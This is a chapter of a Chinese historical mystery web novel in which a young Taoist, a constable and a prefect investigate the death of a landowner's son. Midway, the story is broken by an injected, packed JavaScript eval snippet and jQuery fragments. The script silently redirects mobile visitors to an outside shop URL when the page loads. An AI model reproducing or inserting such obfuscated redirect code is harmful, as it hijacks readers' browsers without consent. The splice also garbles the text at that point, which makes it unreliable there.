邕州的水田,十之二三都在孙员外名下。
虽说他袭着爵位,不过因为天资平庸,在官场混得不好,回到邕州后,凭借这些田产,过上了与世无争的富贵生活。
青鹊到达孙家后,不消片刻便发现,这孙员外是个笑面虎。
见着官府的人就跟小鸡啄米似的鞠躬赔笑,提到他儿子,猝不及防便是嚎啕大哭。可一说要验尸,他就开始含糊其辞,一会儿要请他们喝茶歇歇,一会儿又说人已入棺椁不便惊扰。
李逢被他缠得不耐烦,没好气地问道:“那个叫兰幽的侍女呢?”
此名一出,孙家阖家上下都如临大敌。
见推脱不过,孙员外不情不愿地开了口:“不劳官爷费心,那侍女毒害主子,按我朝律例,主家有权处置。”
“你有何证据?”
众人循声望去,打破表面和谐的竟是个小道士,那身灰蓝色道袍在一众衙役里格格不入。
“官爷,这位是……”
李逢还以为自己出现了幻觉,他赶紧把人拉到一边,小声问道:“你怎么跟来了?”
青鹊睁着一双殷切的眸子,“我想戴罪立功嘛,李兄,你知道的。”
李逢不忍让她打道回府,为难道:“唉,大人本是不许你随便离开府衙的,既已跟来,可千万别胡闹,若再惹出什么事端,我们都护不了你。”
“李兄你就放心吧,我绝对不添乱!”青鹊拍拍胸脯,李逢又不放心地警告了好几遍,这才把人带回堂前。
那孙员外得了便宜,愈发不配合,甚至还搬出爵位和驸马,扬言非谢知州不见。
狗急了还跳墙呢,青鹊心道,这孙员外也忒猖狂,拿知州当什么?
趁李逢与旁人商量对策,她蹿到孙员外面前,高高地扬起下颌,斜睨着他道:“我乃谢知州近来新收的徒弟,大人抽不开身,就由我代为探查,若查出死因确是侍女下毒,那凶手任由员外处置。”
——你什么时候成大人的徒弟了?!
李逢都快把眼珠子瞪出来了。
——狐假虎威,狗偶尔也假假人威嘛。
青鹊冲他咧开一个灿烂的笑容,无声地说:李兄,看我帮你!
正当李逢狠掐自己人中时,那孙员外的脸色青一块红一块,竟不情不愿地让开一条通路。
李逢走着走着才回过味来:小道士误打误撞,倒将这孙员外架在火上烤!
他无法判断夸下海口的道士究竟有何来头,不过随官差来,与官府定是有些关联。他既信誓旦旦,提前应许他处置凶手,若再拒绝调查,便是心中有鬼。况且,倘若他当真是知州的徒弟,即便知州亲至,大抵也会护着自家徒弟。
李逢望着前边走得歪歪扭扭、四处摸摸看看的身影,心下感叹:原来这就是他得大人青睐的原因吗?没想到大人喜欢这样的下属。
日后我也要向他多多学习。
.
兰幽被关在柴房里,不知是吓晕了还是打晕了,此时昏着,怎么叫也叫不醒。
依律,女性嫌犯需得请稳婆检查。
稳婆无甚发现,大夫又说人得过许久才能苏醒,李逢他们只得先从死者身上入手。
如孙员外所说,他儿子孙泽的尸首已入棺椁,停在后院灵堂。他带着仵作按照惯例探查一番,并未发现异常。准备离开祠堂时,青鹊却不见了。
深夜,四周黑漆漆的。他围着灵堂绕了一圈,刚要派人去院子里寻,便听得棺椁里响起一个微弱的声音:“李兄,你在找我吗?”
李逢脚下顿时升起一股寒意!
他艰难地往棺椁里望去,那幽深木壁中,分明盖着一块白布。
“……李兄?”
“啊!!”
李逢以头抢地,“别别别!我家里上有八十老母,下有三岁孩童……我,我平日里从不害人,你你你你离我远点!”
棺椁里一阵异动后,那个幽幽的声音又响了起来:“李兄蹲在这里做什么?”
咦,这声音,怎地如此熟悉?
李逢抬起头,发现小道士正扒着棺材沿看他。
他跳了起来,指着她问道:“你你你,你钻进人家棺材里做什么?”
“闻闻尸体啊。”
李逢这才回想起那日在普恩寺的场景。
“仵作都没发现异常,你真能闻见别人闻不到的气味?”
青鹊一跃从棺材里翻出来,拍拍道袍上的灰尘,嘟囔道:“李兄,你什么时候变得跟知州大人一样墨迹了?”
连续十年获得特优捕快的李逢对她绷起脸,“不许背后说大人坏话。”
“哦。”
她心里又悄悄补了几句。
李逢看向她跳出来的地方,问道:“你刚才发现什么了吗?”
青鹊连连点头,指着尸体下腹的位置,斩钉截铁地回道:“这人是在青楼死的。”
“荒唐!!”
灵堂门扉骤然大开,青鹊只觉天旋地转,连句话都没来得及说,就被孙家的家丁堵上了嘴巴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676925|207512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>等到眼前的景象好不容易定住,她已经被捆在灵堂的立柱上。
.
谢松筠匆匆赶到孙员外家时,已是天光乍现。刚迈出马车,清爽晨风迎面钻进衣襟,激得他轻咳几声。
半夜接到消息后,谢松筠就赶紧命人随他去孙家救场,一路心神不宁,不停地掀开帘子查看行至何处。
什么孺子可教,什么徐徐图之?
等此事了结,就把这小道士押进大牢,严刑拷打,逼他把背后主使吐干净!
可进了内院,眼前的场景还是让谢松筠差点跌了个跟头。
想象中剑拔弩张的气氛并没有出现,反而是衙役和孙家家丁人仰马翻地躺在地上,见他来了,仍是半梦半醒,满脸困倦。
“这是怎么回事?”
李逢最先反应过来,整理着衣襟,一路小跑过来,高声喊道:“大人,您可算来了!”
“是啊,谢大人,您终于来了!”
另一边,孙员外也迎上前来,脸上全然没有过往的谄媚,竟也是生无可恋的样子。
俩人一唱一和,谢松筠从他俩中间望去,只见灵堂正中那个大大的奠字下面,半坐着一个娇小的身影。
远远见着他,那身影就开始挣扎,靠着柱子歪歪扭扭地站起来。
“唔唔……唔唔唔!”
怎么说这小道士也是跟着刑察司来的,谢松筠眉头微蹙,让李逢给她解了,把嘴里的东西也拿走。
“不行啊大人。”
“是啊,不行啊!”
又是一唱一和,谢松筠来回打量一圈,纳闷起来:李逢和孙员外何时关系这么融洽了?
“李逢,你先说。”
李逢深深一揖,回道:“大人,这小道士非说自己是狗变的,嚷嚷了一宿,他越说孙员外就越想活埋他,我们实在听不下去,这才把他嘴给堵上了!”
谢松筠的头又开始发晕。
青鹊喊不出声,只得眼睁睁看着大人缓缓逼近。
他今日穿着墨绿色锦绸官服,料子沉敛厚重,袍摆处金线织就的云纹在阳光下若隐若现,腰束鎏金玉带,衬得肩背挺拔宽阔,仿佛迎面罩来一座高山。
背对着暖日,神色完全藏在阴影里,难以分辨,不过每一步都走得极扎实,仿佛踩着沉甸甸的鼓点。
咚、咚、咚。
踩得她心里莫名发慌。
到了近前,谢松筠一把扯下她嘴里的布团,挑起她的下颌,冷冷地勾起唇角,轻笑道:“我的,好徒弟?”